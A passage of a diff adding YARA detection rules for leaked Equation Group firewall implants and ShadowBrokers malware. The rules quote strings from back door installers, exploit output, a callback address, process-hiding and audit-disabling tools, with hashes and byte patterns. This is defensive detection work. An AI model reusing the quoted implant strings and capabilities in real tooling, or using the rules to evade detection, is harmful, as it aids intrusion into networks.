+		date = "2016-08-16"
+		hash1 = "bd7303393409623cabf0fcf2127a0b81fae52fe40a0d2b8db0f9f092902bbd92"
+		id = "476185f2-b093-5fb9-8604-891e96fe52a9"
+	strings:
+		$s1 = "usage %s \"<tcpdump pcap string>\" <outfile>" fullword ascii
+		$s2 = "error reading dump file: %s" fullword ascii
+		$s3 = "truncated dump file; tried to read %u captured bytes, only got %lu" fullword ascii
+		$s4 = "%s: link-layer type %d isn't supported in savefiles" fullword ascii
+		$s5 = "DLT %d is not one of the DLTs supported by this device" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 2000KB and all of them )
+}
+
+rule EQGRP_StoreFc {
+	meta:
+		description = "EQGRP Toolset Firewall - file StoreFc.py"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "f155cce4eecff8598243a721389046ae2b6ca8ba6cb7b4ac00fd724601a56108"
+		id = "48bbf5c9-e884-5126-93a2-d27650409882"
+	strings:
+		$x1 = "Usage: StoreFc.py --configFile=<path to xml file> --implantFile=<path to BinStore implant> [--outputFile=<file to write the conf" ascii
+		$x2 = "raise Exception, \"Must supply both a config file and implant file.\"" fullword ascii
+		$x3 = "This is wrapper for Store.py that FELONYCROWBAR will use. This" fullword ascii
+	condition:
+		1 of them
+}
+
+rule EQGRP_hexdump {
+	meta:
+		description = "EQGRP Toolset Firewall - file hexdump.py"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "95a9a6a8de60d3215c1c9f82d2d8b2640b42f5cabdc8b50bd1f4be2ea9d7575a"
+		id = "32a7d845-2fa3-5d8f-84e1-2c7f8d2ca8c8"
+	strings:
+		$s1 = "def hexdump(x,lead=\"[+] \",out=sys.stdout):" fullword ascii
+		$s2 = "print >>out, \"%s%04x  \" % (lead,i)," fullword ascii
+		$s3 = "print >>out, \"%02X\" % ord(x[i+j])," fullword ascii
+		$s4 = "print >>out, sane(x[i:i+16])" fullword ascii
+	condition:
+		( uint16(0) == 0x2123 and filesize < 1KB and 2 of ($s*) ) or ( all of them )
+}
+
+rule EQGRP_BBALL {
+	meta:
+		description = "EQGRP Toolset Firewall - file BBALL_E28F6-2201.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "498fc9f20b938b8111adfa3ca215325f265a08092eefd5300c4168876deb7bf6"
+		id = "bced11a2-fac4-58e5-a4a8-1c6d5fe418f9"
+	strings:
+		$s1 = "Components/Modules/BiosModule/Implant/E28F6/../e28f640j3_asm.S" fullword ascii
+		$s2 = ".got_loader" fullword ascii
+		$s3 = "handler_readBIOS" fullword ascii
+		$s4 = "cmosReadByte" fullword ascii
+		$s5 = "KEEPGOING" fullword ascii
+		$s6 = "checksumAreaConfirmed.0" fullword ascii
+		$s7 = "writeSpeedPlow.c" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 40KB and 4 of ($s*) ) or ( all of them )
+}
+
+/* Super Rules ------------------------------------------------------------- */
+
+rule EQGRP_BARPUNCH_BPICKER {
+	meta:
+		description = "EQGRP Toolset Firewall - from files BARPUNCH-3110, BPICKER-3100"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		super_rule = 1
+		hash1 = "830538fe8c981ca386c6c7d55635ac61161b23e6e25d96280ac2fc638c2d82cc"
+		hash2 = "d859ce034751cac960825268a157ced7c7001d553b03aec54e6794ff66185e6f"
+		id = "7e88ba9d-1f15-533a-b388-a2a027ddb07c"
+	strings:
+		$x1 = "--cmd %x --idkey %s --sport %i --dport %i --lp %s --implant %s --bsize %hu --logdir %s --lptimeout %u" fullword ascii
+		$x2 = "%s -c <cmdtype> -l <lp> -i <implant> -k <ikey> -s <port> -d <port> [operation] [options]" fullword ascii
+		$x3 = "* [%lu] 0x%x is marked as stateless (the module will be persisted without its configuration)" fullword ascii
+		$x4 = "%s version %s already has persistence installed. If you want to uninstall," fullword ascii
+		$x5 = "The active module(s) on the target are not meant to be persisted" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 6000KB and 1 of them ) or ( 3 of them )
+}
+
+rule EQGRP_Implants_Gen6 {
+	meta:
+		description = "EQGRP Toolset Firewall"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		super_rule = 1
+		hash1 = "3366b4bbf265716869a487203a8ac39867920880990493dd4dd8385e42b0c119"
+		hash2 = "05031898f3d52a5e05de119868c0ec7caad3c9f3e9780e12f6f28b02941895a4"
+		hash3 = "d9756e3ba272cd4502d88f4520747e9e69d241dee6561f30423840123c1a7939"
+		hash4 = "8e4a76c4b50350b67cabbb2fed47d781ee52d8d21121647b0c0356498aeda2a2"
+		hash5 = "6059bec5cf297266079d52dbb29ab9b9e0b35ce43f718022b5b5f760c1976ec3"
+		hash6 = "d859ce034751cac960825268a157ced7c7001d553b03aec54e6794ff66185e6f"
+		hash7 = "464b4c01f93f31500d2d770360d23bdc37e5ad4885e274a629ea86b2accb7a5c"
+		id = "1b1c6426-7274-5fd4-9ea2-ef10bda769d4"
+	strings:
+		$s1 = "LP.c:pixSecurity - Improper number of bytes read in Security/Interface Information" fullword ascii
+		$s2 = "LP.c:pixSecurity - Not in Session" fullword ascii
+		$s3 = "getModInterface__preloadedModules" fullword ascii
+		$s4 = "showCommands" fullword ascii
+		$s5 = "readModuleInterface" fullword ascii
+		$s6 = "Wrapping_Not_Necessary_Or_Wrapping_Ok" fullword ascii
+		$s7 = "Get_CMD_List" fullword ascii
+		$s8 = "LP_Listen2" fullword ascii
+		$s9 = "killCmdList" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 6000KB and all of them )
+}
+
+rule EQGRP_Implants_Gen5 {
+	meta:
+		description = "EQGRP Toolset Firewall"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		super_rule = 1
+		hash1 = "3366b4bbf265716869a487203a8ac39867920880990493dd4dd8385e42b0c119"
+		hash2 = "830538fe8c981ca386c6c7d55635ac61161b23e6e25d96280ac2fc638c2d82cc"
+		hash3 = "05031898f3d52a5e05de119868c0ec7caad3c9f3e9780e12f6f28b02941895a4"
+		hash4 = "d9756e3ba272cd4502d88f4520747e9e69d241dee6561f30423840123c1a7939"
+		hash5 = "8e4a76c4b50350b67cabbb2fed47d781ee52d8d21121647b0c0356498aeda2a2"
+		hash6 = "6059bec5cf297266079d52dbb29ab9b9e0b35ce43f718022b5b5f760c1976ec3"
+		hash7 = "d859ce034751cac960825268a157ced7c7001d553b03aec54e6794ff66185e6f"
+		hash8 = "464b4c01f93f31500d2d770360d23bdc37e5ad4885e274a629ea86b2accb7a5c"
+		id = "e35748ee-d530-5e73-a74d-5675d05725e9"
+	strings:
+		$x1 = "Module and Implant versions do not match.  This module is not compatible with the target implant" fullword ascii
+
+		$s1 = "%s/BF_READ_%08x_%04d%02d%02d_%02d%02d%02d.log" fullword ascii
+		$s2 = "%s/BF_%04d%02d%02d.log" fullword ascii
+		$s3 = "%s/BF_READ_%08x_%04d%02d%02d_%02d%02d%02d.bin" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and 1 of ($x*) ) or ( all of them )
+}
+
+rule EQGRP_pandarock {
+	meta:
+		description = "EQGRP Toolset Firewall - from files pandarock_v1.11.1.1.bin, pit"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		super_rule = 1
+		hash1 = "1214e282ac7258e616ebd76f912d4b2455d1b415b7216823caa3fc0d09045a5f"
+		hash2 = "c8a151df7605cb48feb8be2ab43ec965b561d2b6e2a837d645fdf6a6191ab5fe"
+		id = "aa0ee05b-b3e4-576a-8a32-bdc8d98fe636"
+	strings:
+		$x1 = "* Not attempting to execute \"%s\" command" fullword ascii
+		$x2 = "TERMINATING SCRIPT (command error or \"quit\" encountered)" fullword ascii
+		$x3 = "execute code in <file> passing <argX> (HEX)" fullword ascii
+		$x4 = "* Use arrow keys to scroll through command history" fullword ascii
+
+		$s1 = "pitCmd_processCmdLine" fullword ascii
+		$s2 = "execute all commands in <file>" fullword ascii
+		$s3 = "__processShellCmd" ascii
+		$s4 = "pitTarget_getDstPort" fullword ascii
+		$s5 = "__processSetTargetIp" ascii
+
+		$o1 = "Logging commands and output - ON" fullword ascii
+		$o2 = "This command is too dangerous.  If you'd like to run it, contact the development team" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 3000KB and 1 of ($x*) ) or ( 4 of them ) or 1 of ($o*)
+}
+
+rule EQGRP_BananaUsurper_writeJetPlow {
+	meta:
+		description = "EQGRP Toolset Firewall - from files BananaUsurper-2120, writeJetPlow-2130"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		super_rule = 1
+		hash1 = "3366b4bbf265716869a487203a8ac39867920880990493dd4dd8385e42b0c119"
+		hash2 = "464b4c01f93f31500d2d770360d23bdc37e5ad4885e274a629ea86b2accb7a5c"
+		id = "901af182-cbfa-533a-a055-565d95005d62"
+	strings:
+		$x1 = "Implant Version-Specific Values:" fullword ascii
+		$x2 = "This function should not be used with a Netscreen, something has gone horribly wrong" fullword ascii
+
+		$s1 = "createSendRecv: recv'd an error from the target." fullword ascii
+		$s2 = "Error: WatchDogTimeout read returned %d instead of 4" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 2000KB and 1 of ($x*) ) or ( 3 of them )
+}
+
+rule EQGRP_Implants_Gen4 {
+	meta:
+		description = "EQGRP Toolset Firewall - from files BLIAR-2110, BLIQUER-2230, BLIQUER-3030, BLIQUER-3120"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		super_rule = 1
+		hash1 = "05031898f3d52a5e05de119868c0ec7caad3c9f3e9780e12f6f28b02941895a4"
+		hash2 = "d9756e3ba272cd4502d88f4520747e9e69d241dee6561f30423840123c1a7939"
+		hash3 = "8e4a76c4b50350b67cabbb2fed47d781ee52d8d21121647b0c0356498aeda2a2"
+		hash4 = "6059bec5cf297266079d52dbb29ab9b9e0b35ce43f718022b5b5f760c1976ec3"
+		id = "8b2061f0-862d-51de-a7d0-7a36d3e71d61"
+	strings:
+		$s1 = "Command has not yet been coded" fullword ascii
+		$s2 = "Beacon Domain  : www.%s.com" fullword ascii
+		$s3 = "This command can only be run on a PIX/ASA" fullword ascii
+		$s4 = "Warning! Bad or missing Flash values (in section 2 of .dat file)" fullword ascii
+		$s5 = "Printing the interface info and security levels. PIX ONLY." fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 3000KB and 3 of them ) or ( all of them )
+}
+
+rule EQGRP_Implants_Gen3 {
+	meta:
+		description = "EQGRP Toolset Firewall"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		super_rule = 1
+		hash1 = "830538fe8c981ca386c6c7d55635ac61161b23e6e25d96280ac2fc638c2d82cc"
+		hash2 = "05031898f3d52a5e05de119868c0ec7caad3c9f3e9780e12f6f28b02941895a4"
+		hash3 = "d9756e3ba272cd4502d88f4520747e9e69d241dee6561f30423840123c1a7939"
+		hash4 = "8e4a76c4b50350b67cabbb2fed47d781ee52d8d21121647b0c0356498aeda2a2"
+		hash5 = "6059bec5cf297266079d52dbb29ab9b9e0b35ce43f718022b5b5f760c1976ec3"
+		hash6 = "d859ce034751cac960825268a157ced7c7001d553b03aec54e6794ff66185e6f"
+		id = "ec64bb2b-566b-50b6-a518-222afc88d400"
+	strings:
+		$x1 = "incomplete and must be removed manually.)" fullword ascii
+
+		$s1 = "%s: recv'd an error from the target." fullword ascii
+		$s2 = "Unable to fetch the address to the get_uptime_secs function for this OS version" fullword ascii
+		$s3 = "upload/activate/de-activate/remove/cmd function failed" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 6000KB and 2 of them ) or ( all of them )
+}
+
+rule EQGRP_BLIAR_BLIQUER {
+	meta:
+		description = "EQGRP Toolset Firewall - from files BLIAR-2110, BLIQUER-2230"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		super_rule = 1
+		hash1 = "05031898f3d52a5e05de119868c0ec7caad3c9f3e9780e12f6f28b02941895a4"
+		hash2 = "d9756e3ba272cd4502d88f4520747e9e69d241dee6561f30423840123c1a7939"
+		id = "6f83bb11-f789-544e-8dca-c2dc2c845331"
+	strings:
+		$x1 = "Do you wish to activate the implant that is already on the firewall? (y/n): " fullword ascii
+		$x2 = "There is no implant present on the firewall." fullword ascii
+		$x3 = "Implant Version :%lx%lx%lx" fullword ascii
+		$x4 = "You may now connect to the implant using the pbd idkey" fullword ascii
+		$x5 = "No reply from persistant back door." fullword ascii
+		$x6 = "rm -rf pbd.wc; wc -c %s > pbd.wc" fullword ascii
+
+		$p1 = "PBD_GetVersion" fullword ascii
+		$p2 = "pbd/pbdEncrypt.bin" fullword ascii
+		$p3 = "pbd/pbdGetVersion.pkt" fullword ascii
+		$p4 = "pbd/pbdStartWrite.bin" fullword ascii
+		$p5 = "pbd/pbd_setNewHookPt.pkt" fullword ascii
+		$p6 = "pbd/pbd_Upload_SinglePkt.pkt" fullword ascii
+
+		$s1 = "Unable to fetch hook and jmp addresses for this OS version" fullword ascii
+		$s2 = "Could not get hook and jump addresses" fullword ascii
+		$s3 = "Enter the name of a clean implant binary (NOT an image):" fullword ascii
+		$s4 = "Unable to read dat file for OS version 0x%08lx" fullword ascii
+		$s5 = "Invalid implant file" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 3000KB and ( 1 of ($x*) or 1 of ($p*) ) ) or ( 3 of them )
+}
+
+rule EQGRP_sploit {
+	meta:
+		description = "EQGRP Toolset Firewall - from files sploit.py, sploit.py"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		super_rule = 1
+		hash1 = "0316d70a5bbf068a7fc791e08e816015d04ec98f088a7ff42af8b9e769b8d1f6"
+		hash2 = "0316d70a5bbf068a7fc791e08e816015d04ec98f088a7ff42af8b9e769b8d1f6"
+		id = "9f403965-5fb1-55b2-bef6-65c18e08e58f"
+	strings:
+		$s1 = "print \"[+] Connecting to %s:%s\" % (self.params.dst['ip'], self.params.dst['port'])" fullword ascii
+		$s2 = "@overridable(\"Must be overriden if the target will be touched.  Base implementation should not be called.\")" fullword ascii
+		$s3 = "@overridable(\"Must be overriden.  Base implementation should not be called.\")" fullword ascii
+		$s4 = "exp.load_vinfo()" fullword ascii
+		$s5 = "if not okay and self.terminateFlingOnException:" fullword ascii
+		$s6 = "print \"[-] keyboard interrupt before response received\"" fullword ascii
+		$s7 = "if self.terminateFlingOnException:" fullword ascii
+		$s8 = "print 'Debug info ','='*40" fullword ascii
+	condition:
+		( uint16(0) == 0x2123 and filesize < 90KB and 1 of ($s*) ) or ( 4 of them )
+}
+
+rule EQGRP_Implants_Gen2 {
+	meta:
+		description = "EQGRP Toolset Firewall"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		super_rule = 1
+		hash1 = "3366b4bbf265716869a487203a8ac39867920880990493dd4dd8385e42b0c119"
+		hash2 = "05031898f3d52a5e05de119868c0ec7caad3c9f3e9780e12f6f28b02941895a4"
+		hash3 = "d9756e3ba272cd4502d88f4520747e9e69d241dee6561f30423840123c1a7939"
+		hash4 = "8e4a76c4b50350b67cabbb2fed47d781ee52d8d21121647b0c0356498aeda2a2"
+		hash5 = "6059bec5cf297266079d52dbb29ab9b9e0b35ce43f718022b5b5f760c1976ec3"
+		hash6 = "464b4c01f93f31500d2d770360d23bdc37e5ad4885e274a629ea86b2accb7a5c"
+		id = "58b0b51d-d1f8-5ee2-a4af-491c49dd0573"
+	strings:
+		$x1 = "Modules persistence file written successfully" fullword ascii
+		$x2 = "Modules persistence data successfully removed" fullword ascii
+		$x3 = "No Modules are active on the firewall, nothing to persist" fullword ascii
+
+		$s1 = "--cmd %x --idkey %s --sport %i --dport %i --lp %s --implant %s --bsize %hu --logdir %s " fullword ascii
+		$s2 = "Error while attemping to persist modules:" fullword ascii
+		$s3 = "Error while reading interface info from PIX" fullword ascii
+		$s4 = "LP.c:pixFree - Failed to get response" fullword ascii
+		$s5 = "WARNING: LP Timeout specified (%lu seconds) less than default (%u seconds).  Setting default" fullword ascii
+		$s6 = "Unable to fetch config address for this OS version" fullword ascii
+		$s7 = "LP.c: interface information not available for this session" fullword ascii
+		$s8 = "[%s:%s:%d] ERROR: " fullword ascii
+		$s9 = "extract_fgbg" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 3000KB and 1 of ($x*) ) or ( 5 of them )
+}
+
+rule EQGRP_Implants_Gen1 {
+	meta:
+		description = "EQGRP Toolset Firewall"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		super_rule = 1
+		hash1 = "3366b4bbf265716869a487203a8ac39867920880990493dd4dd8385e42b0c119"
+		hash2 = "830538fe8c981ca386c6c7d55635ac61161b23e6e25d96280ac2fc638c2d82cc"
+		hash3 = "05031898f3d52a5e05de119868c0ec7caad3c9f3e9780e12f6f28b02941895a4"
+		hash4 = "d9756e3ba272cd4502d88f4520747e9e69d241dee6561f30423840123c1a7939"
+		hash5 = "8e4a76c4b50350b67cabbb2fed47d781ee52d8d21121647b0c0356498aeda2a2"
+		hash6 = "6059bec5cf297266079d52dbb29ab9b9e0b35ce43f718022b5b5f760c1976ec3"
+		hash7 = "d859ce034751cac960825268a157ced7c7001d553b03aec54e6794ff66185e6f"
+		hash8 = "ee3e3487a9582181892e27b4078c5a3cb47bb31fc607634468cc67753f7e61d7"
+		hash9 = "464b4c01f93f31500d2d770360d23bdc37e5ad4885e274a629ea86b2accb7a5c"
+		id = "af0a1a2c-0efb-568f-9e80-baee7398fea2"
+	strings:
+		$s1 = "WARNING:  Session may not have been closed!" fullword ascii
+		$s2 = "EXEC Packet Processed" fullword ascii
+		$s3 = "Failed to insert the command into command list." fullword ascii
+		$s4 = "Send_Packet: Trying to send too much data." fullword ascii
+		$s5 = "payloadLength >= MAX_ALLOW_SIZE." fullword ascii
+		$s6 = "Wrong Payload Size" fullword ascii
+		$s7 = "Unknown packet received......" fullword ascii
+		$s8 = "Returned eax = %08x" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 6000KB and ( 2 of ($s*) ) ) or ( 5 of them )
+}
+
+rule EQGRP_eligiblebombshell_generic {
+	meta:
+		description = "EQGRP Toolset Firewall - from files eligiblebombshell_1.2.0.1.py, eligiblebombshell_1.2.0.1.py"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		super_rule = 1
+		hash1 = "dd0e3ae6e1039a755bf6cb28bf726b4d6ab4a1da2392ba66d114a43a55491eb1"
+		hash2 = "dd0e3ae6e1039a755bf6cb28bf726b4d6ab4a1da2392ba66d114a43a55491eb1"
+		id = "7abe53f6-9880-523a-b71f-6e3850047764"
+	strings:
+		$s1 = "logging.error(\"       Perhaps you should run with --scan?\")" fullword ascii
+		$s2 = "logging.error(\"ERROR: No entry for ETag [%s] in %s.\" %" fullword ascii
+		$s3 = "\"be supplied\")" fullword ascii
+	condition:
+		( filesize < 70KB and 2 of ($s*) ) or ( all of them )
+}
+
+rule EQGRP_ssh_telnet_29 {
+	meta:
+		description = "EQGRP Toolset Firewall - from files ssh.py, telnet.py"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		super_rule = 1
+		hash1 = "630d464b1d08c4dfd0bd50552bee2d6a591fb0b5597ecebaa556a3c3d4e0aa4e"
+		hash2 = "07f4c60505f4d5fb5c4a76a8c899d9b63291444a3980d94c06e1d5889ae85482"
+		id = "cc6edf63-f7ef-579a-82c5-28e5012561e0"
+	strings:
+		$s1 = "received prompt, we're in" fullword ascii
+		$s2 = "failed to login, bad creds, abort" fullword ascii
+		$s3 = "sending command \" + str(n) + \"/\" + str(tot) + \", len \" + str(len(chunk) + " fullword ascii
+		$s4 = "received nat - EPBA: ok, payload: mangled, did not run" fullword ascii
+		$s5 = "no status returned from target, could be an exploit failure, or this is a version where we don't expect a stus return" ascii
+		$s6 = "received arp - EPBA: ok, payload: fail" fullword ascii
+		$s7 = "chopped = string.rstrip(payload, \"\\x0a\")" fullword ascii
+	condition:
+		( filesize < 10KB and 2 of them ) or ( 3 of them )
+}
+
+/* Extras */
+
+rule EQGRP_tinyexec {
+	meta:
+		description = "EQGRP Toolset Firewall - from files tinyexec"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		id = "b783bafd-52e2-59e8-98ab-47de3250415e"
+	strings:
+		$s1 = { 73 68 73 74 72 74 61 62 00 2E 74 65 78 74 }
+		$s2 = { 5A 58 55 52 89 E2 55 50 89 E1 }
+	condition:
+		uint32(0) == 0x464c457f and filesize < 270 and all of them
+}
+
+rule EQGRP_callbacks {
+	meta:
+		description = "EQGRP Toolset Firewall - Callback addresses"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		id = "dd1fbe09-4def-562d-825d-e790dc2c3dd9"
+	strings:
+		$s1 = "30.40.50.60:9342" fullword ascii wide /* DoD */
+	condition:
+		1 of them
+}
+
+rule EQGRP_Extrabacon_Output {
+	meta:
+		description = "EQGRP Toolset Firewall - Extrabacon exploit output"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		id = "b2070ed7-e95a-534a-8f27-63c5ca9251b4"
+	strings:
+		$s1 = "|###[ SNMPresponse ]###" fullword ascii
+		$s2 = "[+] generating exploit for exec mode pass-disable" fullword ascii
+		$s3 = "[+] building payload for mode pass-disable" fullword ascii
+		$s4 = "[+] Executing:  extrabacon" fullword ascii
+		$s5 = "appended AAAADMINAUTH_ENABLE payload" fullword ascii
+	condition:
+		2 of them
+}
+
+rule EQGRP_Unique_Strings {
+	meta:
+		description = "EQGRP Toolset Firewall - Unique strings"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		id = "08f5f1e3-ce4e-54ef-922f-50446edfcd70"
+	strings:
+		$s1 = "/BananaGlee/ELIGIBLEBOMB" ascii
+		$s2 = "Protocol must be either http or https (Ex: https://1.2.3.4:1234)"
+	condition:
+		1 of them
+}
+
+rule EQGRP_RC5_RC6_Opcode {
+	meta:
+		description = "EQGRP Toolset Firewall - RC5 / RC6 opcode"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://securelist.com/blog/incidents/75812/the-equation-giveaway/"
+		date = "2016-08-17"
+		id = "b12a1a2c-8d32-5318-a658-6aa1a08c3263"
+	strings:
+		/*
+			mov     esi, [ecx+edx*4-4]
+			sub     esi, 61C88647h
+			mov     [ecx+edx*4], esi
+			inc     edx
+			cmp     edx, 2Bh
+		*/
+		$s1 = { 8B 74 91 FC 81 EE 47 86 C8 61 89 34 91 42 83 FA 2B }
+	condition:
+		1 of them
+}
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-01-13
+   Identifier: EquationGroup - ShadowBrokers Release January 2017
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule EquationGroup_modifyAudit_Implant {
+   meta:
+      description = "EquationGroup Malware - file modifyAudit_Implant.dll"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/tcSoiJ"
+      date = "2017-01-13"
+      hash1 = "b7902809a15c4c3864a14f009768693c66f9e9234204b873d29a87f4c3009a50"
+      id = "0321f6c0-2250-5991-a1d9-f0598e13c665"
+   strings:
+      $s1 = "LSASS.EXE" fullword wide
+      $s2 = "hNtQueryInformationProcess" fullword ascii
+      $s3 = "hZwOpenProcess" fullword ascii
+      $s4 = ".?AVFeFinallyFailure@@" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 90KB and ( all of ($s*) ) ) or ( all of them )
+}
+
+rule EquationGroup_modifyAudit_Lp {
+   meta:
+      description = "EquationGroup Malware - file modifyAudit_Lp.dll"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/tcSoiJ"
+      date = "2017-01-13"
+      hash1 = "2a1f2034e80421359e3bf65cbd12a55a95bd00f2eb86cf2c2d287711ee1d56ad"
+      id = "9dcfa774-0048-5bd9-ba7d-87bbdff9567a"
+   strings:
+      $s1 = "Read of audit related process memory failed" fullword wide
+      $s2 = "** This may indicate that another copy of modify_audit is already running **" fullword wide
+      $s3 = "Pattern match of code failed" fullword wide
+      $s4 = "Base for necessary auditing dll not found" fullword wide
+      $s5 = "Security auditing has been disabled" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 300KB and 3 of them ) or ( all of them )
+}
+
+rule EquationGroup_ProcessHide_Lp {
+   meta:
+      description = "EquationGroup Malware - file ProcessHide_Lp.dll"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/tcSoiJ"
+      date = "2017-01-13"
+      hash1 = "cdee0daa816f179e74c90c850abd427fbfe0888dcfbc38bf21173f543cdcdc66"
+      id = "b0842897-f591-5213-9a26-0f8732e6f3b8"
+   strings:
+      $x1 = "Invalid flag.  Can only hide or unhide" fullword wide
+      $x2 = "Process elevation failed" fullword wide
+      $x3 = "Unknown error hiding process" fullword wide
+      $x4 = "Invalid process links found in EPROCESS" fullword wide
+      $x5 = "Unable to find SYSTEM process" fullword wide
+      $x6 = "Process hidden, but EPROCESS location lost" fullword wide
+      $x7 = "Invalid EPROCESS location for given ID" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 300KB and 1 of them ) or ( 3 of them )
+}
+
+rule EquationGroup_pwdump_Implant {
+   meta:
+      description = "EquationGroup Malware - file pwdump_Implant.dll"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/tcSoiJ"
+      date = "2017-01-13"
+      hash1 = "dfd5768a4825d1c7329c2e262fde27e2b3d9c810653585b058fcf9efa9815964"
+      id = "55984c20-539e-5e51-b3c4-caa6157c993d"
+   strings:
+      $s1 = ".?AVFeFinallyFailure@@" fullword ascii
+      $s8 = ".?AVFeFinallySuccess@@" fullword ascii
+      $s3 = "\\system32\\win32k.sys" wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 100KB and all of them )
+}
+
+rule EquationGroup_EquationDrug_Gen_5 {
+   meta:
+      description = "EquationGroup Malware - file PC_Level3_http_dll"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/tcSoiJ"
+      date = "2017-01-13"
+      hash1 = "4ebfc1f6ec6a0e68e47e5b231331470a4483184cf715a578191b91ba7c32094d"
+      id = "a67655eb-5593-5ac7-a6aa-81f235fa3c33"
+   strings:
+      $s1 = "Psxssdll.dll" fullword wide
+      $s2 = "Posix Server Dll" fullword wide
+      $s3 = "itanium" fullword wide
+      $s6 = "Copyright (C) Microsoft" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 300KB and all of them )
+}
+
+rule EquationGroup_PC_Level3_http_flav_dll {
+   meta:
+      description = "EquationGroup Malware - file PC_Level3_http_flav_dll"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
